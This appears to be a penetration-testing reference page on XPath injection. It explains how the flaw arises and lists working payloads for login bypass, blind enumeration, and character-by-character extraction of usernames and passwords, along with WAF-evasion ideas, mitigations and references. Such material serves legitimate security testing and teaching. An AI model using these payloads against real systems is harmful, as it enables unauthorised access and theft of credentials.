XPath Injection#
XPath Injection is a vulnerability that occurs when user-controlled input is unsafely concatenated into XPath queries evaluating XML documents, enabling attackers to extract, manipulate, or bypass logic in XML-based applications.
Fundamentals#
How XPath Works#
XPath is a query language used to locate and retrieve nodes from XML documents. Applications often use XPath to search XML files for user records, configuration data, product information, or authentication details.
Example XML:
<users>
<user>
<username>admin</username>
<password>admin123</password>
</user>
</users>Example XPath query:
/users/user[username='admin']If user input is directly concatenated into the query, an attacker may manipulate the XPath expression and change its logic.
Common XPath Functions#
| Function | Purpose |
|---|---|
count() |
Count matching nodes |
name() |
Get node name |
text() |
Read node value |
substring() |
Extract characters |
string-length() |
Determine string length |
contains() |
Check substring |
starts-with() |
Check prefix |
last() |
Last node |
position() |
Current node index |
XPath Versions#
- XPath 1.0 (Most common)
- XPath 2.0
- XPath 3.0 / 3.1
Most web applications still use XPath 1.0.
Identifying XPath Injection#
Possible Signs:#
- XML-based backend
- Login or search forms using XML datasets
- Custom CMS or legacy systems
- Unexpected errors on special character input (
',",],),@, etc.)
Attack Surface#
Look for XML-backed functionality in:
- Login forms
- Search functionality
- XML APIs
- SOAP services
- SAML authentication
- XML import/export
- Configuration uploads
- RSS/Atom feeds
- XML file uploads
- Mobile applications using XML
- Legacy Java/.NET applications
Testing Inputs (Basic Payloads)#
| Goal | Payload | Notes |
|---|---|---|
| Authentication Bypass | ' or '1' = '1 |
Similar to SQLi logic |
| Universal True | admin' or '1'='1 |
Always returns true |
| Universal False | admin' and '1'='2 |
Always false |
| Close predicate | ' or '1'='1' or ''=' |
Unbalances logic |
| Blind Bypass | admin' or count(//user) > 0 or ''=' |
Check response time / content |
Authentication Bypass Attacks#
Scenario: XPath Query on Login#
/users/user[username/text()='admin' and password/text()='admin']Bypass Payloads#
admin' or '1'='1
admin' or 'a'='a
' or ''='- These manipulate the query to return true, regardless of password.
Blind XPath Injection#
Used when no error messages or output leakage occurs.
Boolean-based (True/False)#
' or count(//user)=1 or '1'='2
' or count(//user)=2 or '1'='2Character Extraction#
Using substring and string-length:
' or substring(name(/*),1,1)='r' or '1'='2
' or string-length(name(/*))=4 or '1'='2Time-based XPath (requires app using XSLT/XPath extension functions)#
' or java.lang.Thread.sleep(5000) or '1'='2Enumeration Examples#
Get number of users#
' or count(//user)=1 or '1'='2Extract Number of Child Nodes#
name=' or count(//user[position()=1]/child::node())=5 or '1'='1&pass=testExtract number of characters#
Extract user name character-by-character#
' or substring(//user[1]/username/text(),1,1)='a' or '1'='2
' or substring(//user[1]/username/text(),2,1)='d' or '1'='2Extract Password#
' or substring(//user[1]/password/text(),1,1)='a' or '1'='2Extract Email#
' or substring(//user[1]/email/text(),1,1)='a' or '1'='2Count Users#
' or count(//user)=5 or '1'='2XPath Injection Techniques Summary#
| Technique | Description | Example |
|---|---|---|
| Boolean-based | True/False responses | ' or 1=1 or 'a'='b |
| Blind | Infer info from output delay or structure | ' or substring(//user[1]/username,1,1)='a |
| Error-based | Parse error leakage (less common) | Unbalanced quotes |
| Time-based | Delay via Java methods in XSLT | ' or java.lang.Thread.sleep(5000) or '1'='1 |
| Out-of-Band (OOB) | Rare – with XXE or SSRF chaining | Needs multi-vector chaining |
Realistic Bypass Scenario#
Query:#
/users/user[username/text()='[USER]' and password/text()='[PASS]']Payload:#
Username: ' or '1'='1
Password: anythingFinal XPath after injection:#
/users/user[username/text()='' or '1'='1' and password/text()='anything']WAF & Filter Bypass#
- Alternate quote styles
- Mixed casing
- URL encoding
- Double URL encoding
- Whitespace manipulation
- Nested predicates
- Using
contains()instead of equality - Using
starts-with()instead of= - Splitting payloads across parameters
Advanced Payloads (XPath 1.0)#
Extract XML Version#
' or starts-with(system-property('xsl:version'),'1') or '1'='2Checking existence of node#
' or name(//user[1])='user' or '1'='2Length of text#
' or string-length(//user[1]/username)=5 or '1'='2Framework-Specific Scenarios#
Java#
Common APIs:
- XPathFactory
- XPathExpression
- JAXP
- Saxon
.NET#
Common APIs:
- XPathNavigator
- XPathExpression
- XPathDocument
PHP#
Common APIs:
- DOMXPath
- SimpleXML
Python#
Libraries:
- lxml
- ElementTree
JavaScript / Node.js#
Libraries:
- xpath
- xmldom
- libxmljs
Detection Techniques#
Manual Detection#
- Inject
',",],),|, ,@ - Test boolean conditions
- Compare true vs false responses
- Trigger parser errors
- Test substring enumeration
- Test count() based enumeration
- Observe response length differences
- Monitor redirects and login behavior
Useful XPath Payloads#
' or position()=1 or '' or last()=1 or '' or contains(name(/*),'r') or '' or starts-with(name(/*),'r') or '' or string-length(//user[1]/password)=8 or '' or substring(//user[1]/password,1,1)='a' or 'Automated Detection#
- Burp Suite Scanner
- Burp Intruder
- Burp Repeater
- Nuclei XPath templates
- OWASP ZAP
- ffuf (parameter fuzzing)
Impact#
Successful XPath Injection may result in:
- Authentication bypass
- Unauthorized access
- XML data disclosure
- User enumeration
- Administrative account compromise
- Blind extraction of sensitive data
- Business logic bypass
- Information disclosure
- Chaining with XXE or SSRF in XML applications
Mitigation Strategies#
| Strategy | Details |
|---|---|
| Input Validation | Whitelist valid inputs, reject unexpected characters like ', ", <, >, etc. |
| Use of XPath Parameterization | Use XPath APIs that support variables (e.g., XPathExpression.setXPathVariableResolver() in Java) |
| Avoid Concatenation | Never construct queries like xpath = "//user[username/text()='" + user + "']" |
| Use JSON Instead of XML | JSON is less prone to XPathi |
| Proper Error Handling | Disable detailed XML errors and stack traces |
Tools#
| Tool | Purpose |
|---|---|
| XCat |
command line tool |
| Python + lxml | Custom exploitation |
| PayloadsAllTheThings | Payload reference |
Good to Read:#
https://hackerone.com/reports/1626226
https://cyberbull.medium.com/xpath-injection-️-deep-dive-1213ad0dccb8
References:#
https://medium.com/@cc0a/blind-xpath-injection-bool-df637d5e92f0
https://www.imperva.com/learn/application-security/xpath-injection/
https://zhangzeyu2001.medium.com/blind-xpath-injections-the-path-less-travelled-6f03ce5ec8f6
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XPATH%20Injection/README.md
https://book.hacktricks.wiki/en/pentesting-web/xpath-injection.html
https://owasp.org/www-community/attacks/XPATH_Injection
https://cqr.company/web-vulnerabilities/xpath-injection/
https://karol-mazurek.medium.com/appsec-tales-xxiii-xpathi-ca6171826d2a
https://atharvvvsharma.medium.com/xpath-injection-30193bf326ee
https://infosecwriteups.com/understanding-xpath-injection-with-practical-examples-6aa81043e4aa